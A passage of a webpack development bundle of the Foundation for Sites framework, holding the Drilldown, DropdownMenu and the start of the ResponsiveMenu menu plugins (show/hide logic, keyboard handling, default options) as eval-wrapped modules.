*/\n\n }, {\n key: \"_setHideSubMenuClasses\",\n value: function _setHideSubMenuClasses($elem, trigger) {\n $elem.removeClass('is-active').addClass('invisible').attr('aria-hidden', true);\n $elem.parent('li').attr('aria-expanded', false);\n\n if (trigger === true) {\n $elem.trigger('hide.zf.drilldown', [$elem]);\n }\n }\n /**\n * Opens a specific drilldown (sub)menu no matter which (sub)menu in it is currently visible.\n * Compared to _show() this lets you jump into any submenu without clicking through every submenu on the way to it.\n * @function\n * @fires Drilldown#open\n * @param {jQuery} $elem - the target (sub)menu (`ul` tag)\n * @param {boolean} autoFocus - if true the first link in the target (sub)menu gets auto focused\n */\n\n }, {\n key: \"_showMenu\",\n value: function _showMenu($elem, autoFocus) {\n var _this = this; // Reset drilldown\n\n\n var $expandedSubmenus = this.$element.find('li[aria-expanded=\"true\"] > ul[data-submenu]');\n $expandedSubmenus.each(function (index) {\n _this._setHideSubMenuClasses(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this));\n }); // Save the menu as the currently displayed one.\n\n this.$currentMenu = $elem; // If target menu is root, focus first link & exit\n\n if ($elem.is('[data-drilldown]')) {\n if (autoFocus === true) $elem.find('li[role=\"treeitem\"] > a').first().focus();\n if (this.options.autoHeight) this.$wrapper.css('height', $elem.data('calcHeight'));\n return;\n } // Find all submenus on way to root incl. the element itself\n\n\n var $submenus = $elem.children().first().parentsUntil('[data-drilldown]', '[data-submenu]'); // Open target menu and all submenus on its way to root\n\n $submenus.each(function (index) {\n // Update height of first child (target menu) if autoHeight option true\n if (index === 0 && _this.options.autoHeight) {\n _this.$wrapper.css('height', jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('calcHeight'));\n }\n\n var isLastChild = index == $submenus.length - 1; // Add transitionsend listener to last child (root due to reverse order) to open target menu's first link\n // Last child makes sure the event gets always triggered even if going through several menus\n\n if (isLastChild === true) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this)), function () {\n if (autoFocus === true) {\n $elem.find('li[role=\"treeitem\"] > a').first().focus();\n }\n });\n }\n\n _this._setShowSubMenuClasses(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), isLastChild);\n });\n }\n /**\n * Opens a submenu.\n * @function\n * @fires Drilldown#open\n * @param {jQuery} $elem - the current element with a submenu to open, i.e. the `li` tag.\n */\n\n }, {\n key: \"_show\",\n value: function _show($elem) {\n var $submenu = $elem.children('[data-submenu]');\n $elem.attr('aria-expanded', true);\n this.$currentMenu = $submenu;\n $submenu.addClass('is-active').removeClass('invisible').attr('aria-hidden', false);\n\n if (this.options.autoHeight) {\n this.$wrapper.css({\n height: $submenu.data('calcHeight')\n });\n }\n /**\n * Fires when the submenu has opened.\n * @event Drilldown#open\n */\n\n\n this.$element.trigger('open.zf.drilldown', [$elem]);\n }\n /**\n * Hides a submenu\n * @function\n * @fires Drilldown#hide\n * @param {jQuery} $elem - the current sub-menu to hide, i.e. the `ul` tag.\n */\n\n }, {\n key: \"_hide\",\n value: function _hide($elem) {\n if (this.options.autoHeight) this.$wrapper.css({\n height: $elem.parent().closest('ul').data('calcHeight')\n });\n\n var _this = this;\n\n $elem.parent('li').attr('aria-expanded', false);\n $elem.attr('aria-hidden', true);\n $elem.addClass('is-closing').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($elem), function () {\n $elem.removeClass('is-active is-closing');\n $elem.blur().addClass('invisible');\n });\n /**\n * Fires when the submenu has closed.\n * @event Drilldown#hide\n */\n\n $elem.trigger('hide.zf.drilldown', [$elem]);\n }\n /**\n * Iterates through the nested menus to calculate the min-height, and max-width for the menu.\n * Prevents content jumping.\n * @function\n * @private\n */\n\n }, {\n key: \"_getMaxDims\",\n value: function _getMaxDims() {\n var maxHeight = 0,\n result = {},\n _this = this; // Recalculate menu heights and total max height\n\n\n this.$submenus.add(this.$element).each(function () {\n var numOfElems = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('li').length;\n var height = _foundation_util_box__WEBPACK_IMPORTED_MODULE_4__[\"Box\"].GetDimensions(this).height;\n maxHeight = height > maxHeight ? height : maxHeight;\n\n if (_this.options.autoHeight) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('calcHeight', height);\n }\n });\n if (this.options.autoHeight) result['height'] = this.$currentMenu.data('calcHeight');else result['min-height'] = \"\".concat(maxHeight, \"px\");\n result['max-width'] = \"\".concat(this.$element[0].getBoundingClientRect().width, \"px\");\n return result;\n }\n /**\n * Destroys the Drilldown Menu\n * @function\n */\n\n }, {\n key: \"_destroy\",\n value: function _destroy() {\n if (this.options.scrollTop) this.$element.off('.zf.drilldown', this._bindHandler);\n\n this._hideAll();\n\n this.$element.off('mutateme.zf.trigger');\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__[\"Nest\"].Burn(this.$element, 'drilldown');\n this.$element.unwrap().find('.js-drilldown-back, .is-submenu-parent-item').remove().end().find('.is-active, .is-closing, .is-drilldown-submenu').removeClass('is-active is-closing is-drilldown-submenu').end().find('[data-submenu]').removeAttr('aria-hidden tabindex role');\n this.$submenuAnchors.each(function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).off('.zf.drilldown');\n });\n this.$element.find('[data-is-parent-link]').detach();\n this.$submenus.removeClass('drilldown-submenu-cover-previous invisible');\n this.$element.find('a').each(function () {\n var $link = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this);\n $link.removeAttr('tabindex');\n\n if ($link.data('savedHref')) {\n $link.attr('href', $link.data('savedHref')).removeData('savedHref');\n } else {\n return;\n }\n });\n }\n }]);\n\n return Drilldown;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_5__[\"Plugin\"]);\n\nDrilldown.defaults = {\n /**\n * Drilldowns depend on styles in order to function properly; in the default build of Foundation these are\n * on the `drilldown` class. This option auto-applies this class to the drilldown upon initialization.\n * @option\n * @type {boolian}\n * @default true\n */\n autoApplyClass: true,\n\n /**\n * Markup used for JS generated back button. Prepended or appended (see backButtonPosition) to submenu lists and deleted on `destroy` method, 'js-drilldown-back' class required. Remove the backslash (`\\`) if copy and pasting.\n * @option\n * @type {string}\n * @default '
  • Back
  • '\n */\n backButton: '
  • Back
  • ',\n\n /**\n * Position the back button either at the top or bottom of drilldown submenus. Can be `'left'` or `'bottom'`.\n * @option\n * @type {string}\n * @default top\n */\n backButtonPosition: 'top',\n\n /**\n * Markup used to wrap drilldown menu. Use a class name for independent styling; the JS applied class: `is-drilldown` is required. Remove the backslash (`\\`) if copy and pasting.\n * @option\n * @type {string}\n * @default '
    '\n */\n wrapper: '
    ',\n\n /**\n * Adds the parent link to the submenu.\n * @option\n * @type {boolean}\n * @default false\n */\n parentLink: false,\n\n /**\n * Allow the menu to return to root list on body click.\n * @option\n * @type {boolean}\n * @default false\n */\n closeOnClick: false,\n\n /**\n * Allow the menu to auto adjust height.\n * @option\n * @type {boolean}\n * @default false\n */\n autoHeight: false,\n\n /**\n * Animate the auto adjust height.\n * @option\n * @type {boolean}\n * @default false\n */\n animateHeight: false,\n\n /**\n * Scroll to the top of the menu after opening a submenu or navigating back using the menu back button\n * @option\n * @type {boolean}\n * @default false\n */\n scrollTop: false,\n\n /**\n * String jquery selector (for example 'body') of element to take offset().top from, if empty string the drilldown menu offset().top is taken\n * @option\n * @type {string}\n * @default ''\n */\n scrollTopElement: '',\n\n /**\n * ScrollTop offset\n * @option\n * @type {number}\n * @default 0\n */\n scrollTopOffset: 0,\n\n /**\n * Scroll animation duration\n * @option\n * @type {number}\n * @default 500\n */\n animationDuration: 500,\n\n /**\n * Scroll animation easing. Can be `'swing'` or `'linear'`.\n * @option\n * @type {string}\n * @see {@link https://api.jquery.com/animate|JQuery animate}\n * @default 'swing'\n */\n animationEasing: 'swing' // holdOpen: false\n\n};\n\n\n//# sourceURL=webpack:///./js/foundation.drilldown.js?")},"./js/foundation.dropdownMenu.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"DropdownMenu\", function() { return DropdownMenu; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_nest__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.nest */ \"./js/foundation.util.nest.js\");\n/* harmony import */ var _foundation_util_box__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.util.box */ \"./js/foundation.util.box.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n\n/**\n * DropdownMenu module.\n * @module foundation.dropdown-menu\n * @requires foundation.util.keyboard\n * @requires foundation.util.box\n * @requires foundation.util.nest\n */\n\nvar DropdownMenu =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(DropdownMenu, _Plugin);\n\n function DropdownMenu() {\n _classCallCheck(this, DropdownMenu);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(DropdownMenu).apply(this, arguments));\n }\n\n _createClass(DropdownMenu, [{\n key: \"_setup\",\n\n /**\n * Creates a new instance of DropdownMenu.\n * @class\n * @name DropdownMenu\n * @fires DropdownMenu#init\n * @param {jQuery} element - jQuery object to make into a dropdown menu.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, DropdownMenu.defaults, this.$element.data(), options);\n this.className = 'DropdownMenu'; // ie9 back compat\n\n this._init();\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__[\"Keyboard\"].register('DropdownMenu', {\n 'ENTER': 'open',\n 'SPACE': 'open',\n 'ARROW_RIGHT': 'next',\n 'ARROW_UP': 'up',\n 'ARROW_DOWN': 'down',\n 'ARROW_LEFT': 'previous',\n 'ESCAPE': 'close'\n });\n }\n /**\n * Initializes the plugin, and calls _prepareMenu\n * @private\n * @function\n */\n\n }, {\n key: \"_init\",\n value: function _init() {\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_4__[\"Nest\"].Feather(this.$element, 'dropdown');\n var subs = this.$element.find('li.is-dropdown-submenu-parent');\n this.$element.children('.is-dropdown-submenu-parent').children('.is-dropdown-submenu').addClass('first-sub');\n this.$menuItems = this.$element.find('[role=\"menuitem\"]');\n this.$tabs = this.$element.children('[role=\"menuitem\"]');\n this.$tabs.find('ul.is-dropdown-submenu').addClass(this.options.verticalClass);\n\n if (this.options.alignment === 'auto') {\n if (this.$element.hasClass(this.options.rightClass) || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__[\"rtl\"])() || this.$element.parents('.top-bar-right').is('*')) {\n this.options.alignment = 'right';\n subs.addClass('opens-left');\n } else {\n this.options.alignment = 'left';\n subs.addClass('opens-right');\n }\n } else {\n if (this.options.alignment === 'right') {\n subs.addClass('opens-left');\n } else {\n subs.addClass('opens-right');\n }\n }\n\n this.changed = false;\n\n this._events();\n }\n }, {\n key: \"_isVertical\",\n value: function _isVertical() {\n return this.$tabs.css('display') === 'block' || this.$element.css('flex-direction') === 'column';\n }\n }, {\n key: \"_isRtl\",\n value: function _isRtl() {\n return this.$element.hasClass('align-right') || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__[\"rtl\"])() && !this.$element.hasClass('align-left');\n }\n /**\n * Adds event listeners to elements within the menu\n * @private\n * @function\n */\n\n }, {\n key: \"_events\",\n value: function _events() {\n var _this = this,\n hasTouch = 'ontouchstart' in window || typeof window.ontouchstart !== 'undefined',\n parClass = 'is-dropdown-submenu-parent'; // used for onClick and in the keyboard handlers\n\n\n var handleClickFn = function handleClickFn(e) {\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.target).parentsUntil('ul', \".\".concat(parClass)),\n hasSub = $elem.hasClass(parClass),\n hasClicked = $elem.attr('data-is-click') === 'true',\n $sub = $elem.children('.is-dropdown-submenu');\n\n if (hasSub) {\n if (hasClicked) {\n if (!_this.options.closeOnClick || !_this.options.clickOpen && !hasTouch || _this.options.forceFollow && hasTouch) {\n return;\n } else {\n e.stopImmediatePropagation();\n e.preventDefault();\n\n _this._hide($elem);\n }\n } else {\n e.preventDefault();\n e.stopImmediatePropagation();\n\n _this._show($sub);\n\n $elem.add($elem.parentsUntil(_this.$element, \".\".concat(parClass))).attr('data-is-click', true);\n }\n }\n };\n\n if (this.options.clickOpen || hasTouch) {\n this.$menuItems.on('click.zf.dropdownmenu touchstart.zf.dropdownmenu', handleClickFn);\n } // Handle Leaf element Clicks\n\n\n if (_this.options.closeOnClickInside) {\n this.$menuItems.on('click.zf.dropdownmenu', function (e) {\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n hasSub = $elem.hasClass(parClass);\n\n if (!hasSub) {\n _this._hide();\n }\n });\n }\n\n if (!this.options.disableHover) {\n this.$menuItems.on('mouseenter.zf.dropdownmenu', function (e) {\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n hasSub = $elem.hasClass(parClass);\n\n if (hasSub) {\n clearTimeout($elem.data('_delay'));\n $elem.data('_delay', setTimeout(function () {\n _this._show($elem.children('.is-dropdown-submenu'));\n }, _this.options.hoverDelay));\n }\n }).on('mouseleave.zf.dropdownMenu', Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__[\"ignoreMousedisappear\"])(function (e) {\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n hasSub = $elem.hasClass(parClass);\n\n if (hasSub && _this.options.autoclose) {\n if ($elem.attr('data-is-click') === 'true' && _this.options.clickOpen) {\n return false;\n }\n\n clearTimeout($elem.data('_delay'));\n $elem.data('_delay', setTimeout(function () {\n _this._hide($elem);\n }, _this.options.closingTime));\n }\n }));\n }\n\n this.$menuItems.on('keydown.zf.dropdownmenu', function (e) {\n var $element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.target).parentsUntil('ul', '[role=\"menuitem\"]'),\n isTab = _this.$tabs.index($element) > -1,\n $elements = isTab ? _this.$tabs : $element.siblings('li').add($element),\n $prevElement,\n $nextElement;\n $elements.each(function (i) {\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is($element)) {\n $prevElement = $elements.eq(i - 1);\n $nextElement = $elements.eq(i + 1);\n return;\n }\n });\n\n var nextSibling = function nextSibling() {\n $nextElement.children('a:first').focus();\n e.preventDefault();\n },\n prevSibling = function prevSibling() {\n $prevElement.children('a:first').focus();\n e.preventDefault();\n },\n openSub = function openSub() {\n var $sub = $element.children('ul.is-dropdown-submenu');\n\n if ($sub.length) {\n _this._show($sub);\n\n $element.find('li > a:first').focus();\n e.preventDefault();\n } else {\n return;\n }\n },\n closeSub = function closeSub() {\n //if ($element.is(':first-child')) {\n var close = $element.parent('ul').parent('li');\n close.children('a:first').focus();\n\n _this._hide(close);\n\n e.preventDefault(); //}\n };\n\n var functions = {\n open: openSub,\n close: function close() {\n _this._hide(_this.$element);\n\n _this.$menuItems.eq(0).children('a').focus(); // focus to first element\n\n\n e.preventDefault();\n },\n handled: function handled() {\n e.stopImmediatePropagation();\n }\n };\n\n if (isTab) {\n if (_this._isVertical()) {\n // vertical menu\n if (_this._isRtl()) {\n // right aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n down: nextSibling,\n up: prevSibling,\n next: closeSub,\n previous: openSub\n });\n } else {\n // left aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n down: nextSibling,\n up: prevSibling,\n next: openSub,\n previous: closeSub\n });\n }\n } else {\n // horizontal menu\n if (_this._isRtl()) {\n // right aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n next: prevSibling,\n previous: nextSibling,\n down: openSub,\n up: closeSub\n });\n } else {\n // left aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n next: nextSibling,\n previous: prevSibling,\n down: openSub,\n up: closeSub\n });\n }\n }\n } else {\n // not tabs -> one sub\n if (_this._isRtl()) {\n // right aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n next: closeSub,\n previous: openSub,\n down: nextSibling,\n up: prevSibling\n });\n } else {\n // left aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n next: openSub,\n previous: closeSub,\n down: nextSibling,\n up: prevSibling\n });\n }\n }\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__[\"Keyboard\"].handleKey(e, 'DropdownMenu', functions);\n });\n }\n /**\n * Adds an event handler to the body to close any dropdowns on a click.\n * @function\n * @private\n */\n\n }, {\n key: \"_addBodyHandler\",\n value: function _addBodyHandler() {\n var $body = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.body),\n _this = this;\n\n $body.off('mouseup.zf.dropdownmenu touchend.zf.dropdownmenu').on('mouseup.zf.dropdownmenu touchend.zf.dropdownmenu', function (e) {\n var $link = _this.$element.find(e.target);\n\n if ($link.length) {\n return;\n }\n\n _this._hide();\n\n $body.off('mouseup.zf.dropdownmenu touchend.zf.dropdownmenu');\n });\n }\n /**\n * Opens a dropdown pane, and checks for collisions first.\n * @param {jQuery} $sub - ul element that is a submenu to show\n * @function\n * @private\n * @fires Dropdownmenu#show\n */\n\n }, {\n key: \"_show\",\n value: function _show($sub) {\n var idx = this.$tabs.index(this.$tabs.filter(function (i, el) {\n return jquery__WEBPACK_IMPORTED_MODULE_0___default()(el).find($sub).length > 0;\n }));\n var $sibs = $sub.parent('li.is-dropdown-submenu-parent').siblings('li.is-dropdown-submenu-parent');\n\n this._hide($sibs, idx);\n\n $sub.css('visibility', 'hidden').addClass('js-dropdown-active').parent('li.is-dropdown-submenu-parent').addClass('is-active');\n var clear = _foundation_util_box__WEBPACK_IMPORTED_MODULE_5__[\"Box\"].ImNotTouchingYou($sub, null, true);\n\n if (!clear) {\n var oldClass = this.options.alignment === 'left' ? '-right' : '-left',\n $parentLi = $sub.parent('.is-dropdown-submenu-parent');\n $parentLi.removeClass(\"opens\".concat(oldClass)).addClass(\"opens-\".concat(this.options.alignment));\n clear = _foundation_util_box__WEBPACK_IMPORTED_MODULE_5__[\"Box\"].ImNotTouchingYou($sub, null, true);\n\n if (!clear) {\n $parentLi.removeClass(\"opens-\".concat(this.options.alignment)).addClass('opens-inner');\n }\n\n this.changed = true;\n }\n\n $sub.css('visibility', '');\n\n if (this.options.closeOnClick) {\n this._addBodyHandler();\n }\n /**\n * Fires when the new dropdown pane is visible.\n * @event Dropdownmenu#show\n */\n\n\n this.$element.trigger('show.zf.dropdownmenu', [$sub]);\n }\n /**\n * Hides a single, currently open dropdown pane, if passed a parameter, otherwise, hides everything.\n * @function\n * @param {jQuery} $elem - element with a submenu to hide\n * @param {Number} idx - index of the $tabs collection to hide\n * @private\n */\n\n }, {\n key: \"_hide\",\n value: function _hide($elem, idx) {\n var $toClose;\n\n if ($elem && $elem.length) {\n $toClose = $elem;\n } else if (typeof idx !== 'undefined') {\n $toClose = this.$tabs.not(function (i, el) {\n return i === idx;\n });\n } else {\n $toClose = this.$element;\n }\n\n var somethingToClose = $toClose.hasClass('is-active') || $toClose.find('.is-active').length > 0;\n\n if (somethingToClose) {\n $toClose.find('li.is-active').add($toClose).attr({\n 'data-is-click': false\n }).removeClass('is-active');\n $toClose.find('ul.js-dropdown-active').removeClass('js-dropdown-active');\n\n if (this.changed || $toClose.find('opens-inner').length) {\n var oldClass = this.options.alignment === 'left' ? 'right' : 'left';\n $toClose.find('li.is-dropdown-submenu-parent').add($toClose).removeClass(\"opens-inner opens-\".concat(this.options.alignment)).addClass(\"opens-\".concat(oldClass));\n this.changed = false;\n }\n /**\n * Fires when the open menus are closed.\n * @event Dropdownmenu#hide\n */\n\n\n this.$element.trigger('hide.zf.dropdownmenu', [$toClose]);\n }\n }\n /**\n * Destroys the plugin.\n * @function\n */\n\n }, {\n key: \"_destroy\",\n value: function _destroy() {\n this.$menuItems.off('.zf.dropdownmenu').removeAttr('data-is-click').removeClass('is-right-arrow is-left-arrow is-down-arrow opens-right opens-left opens-inner');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.body).off('.zf.dropdownmenu');\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_4__[\"Nest\"].Burn(this.$element, 'dropdown');\n }\n }]);\n\n return DropdownMenu;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__[\"Plugin\"]);\n/**\n * Default settings for plugin\n */\n\n\nDropdownMenu.defaults = {\n /**\n * Disallows hover events from opening submenus\n * @option\n * @type {boolean}\n * @default false\n */\n disableHover: false,\n\n /**\n * Allow a submenu to automatically close on a mouseleave event, if not clicked open.\n * @option\n * @type {boolean}\n * @default true\n */\n autoclose: true,\n\n /**\n * Amount of time to delay opening a submenu on hover event.\n * @option\n * @type {number}\n * @default 50\n */\n hoverDelay: 50,\n\n /**\n * Allow a submenu to open/remain open on parent click event. Allows cursor to move away from menu.\n * @option\n * @type {boolean}\n * @default false\n */\n clickOpen: false,\n\n /**\n * Amount of time to delay closing a submenu on a mouseleave event.\n * @option\n * @type {number}\n * @default 500\n */\n closingTime: 500,\n\n /**\n * Position of the menu relative to what direction the submenus should open. Handled by JS. Can be `'auto'`, `'left'` or `'right'`.\n * @option\n * @type {string}\n * @default 'auto'\n */\n alignment: 'auto',\n\n /**\n * Allow clicks on the body to close any open submenus.\n * @option\n * @type {boolean}\n * @default true\n */\n closeOnClick: true,\n\n /**\n * Allow clicks on leaf anchor links to close any open submenus.\n * @option\n * @type {boolean}\n * @default true\n */\n closeOnClickInside: true,\n\n /**\n * Class applied to vertical oriented menus, Foundation default is `vertical`. Update this if using your own class.\n * @option\n * @type {string}\n * @default 'vertical'\n */\n verticalClass: 'vertical',\n\n /**\n * Class applied to right-side oriented menus, Foundation default is `align-right`. Update this if using your own class.\n * @option\n * @type {string}\n * @default 'align-right'\n */\n rightClass: 'align-right',\n\n /**\n * Boolean to force overide the clicking of links to perform default action, on second touch event for mobile.\n * @option\n * @type {boolean}\n * @default true\n */\n forceFollow: true\n};\n\n\n//# sourceURL=webpack:///./js/foundation.dropdownMenu.js?")},"./js/foundation.responsiveMenu.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "ResponsiveMenu", function() { return ResponsiveMenu; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ "./js/foundation.util.mediaQuery.js");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\n/* harmony import */ var _foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.dropdownMenu */ "./js/foundation.dropdownMenu.js");\n/* harmony import */ var _foundation_drilldown__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.drilldown */ "./js/foundation.drilldown.js");\n/* harmony import */ var _foundation_accordionMenu__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./foundation.accordionMenu */ "./js/foundation.accordionMenu.js");\n\n\nfunction _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n\n\nvar MenuPlugins = {\n dropdown: {\n cssClass: \'dropdown\',\n plugin: _foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_4__["DropdownMenu"]\n },\n drilldown: {\n cssClass: \'drilldown\',\n plugin: _foundation_drilldown__WEBPACK_IMPORTED_MODULE_5__["Drilldown"]\n },\n accordion: {\n cssClass: \'accordion-menu\',\n plugin: _foundation_accordionMenu__WEBPACK_IMPORTED_MODULE_6__["AccordionMenu"]\n }\n}; // import "foundation.util.triggers.js";\n\n/**\n * ResponsiveMenu module.\n * @module foundation.responsiveMenu\n * @requires foundation.util.triggers\n * @requires foundation.util.mediaQuery\n */\n\nvar ResponsiveMenu =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(ResponsiveMenu, _Plugin);\n\n function ResponsiveMenu() {\n _classCallCheck(this, ResponsiveMenu);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(ResponsiveMenu).apply(this, arguments));\n }\n\n _createClass(ResponsiveMenu, [{\n key: "_setup",\n\n /**\n * Creates a new instance of a responsive menu.\n * @class\n * @name ResponsiveMenu\n * @fires ResponsiveMenu#init\n * @param {jQuery} element - jQuery object to make into a dropdown menu.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(element);\n this.rules = this.$element.data(\'responsive-menu\');\n this.currentMq = null;\n 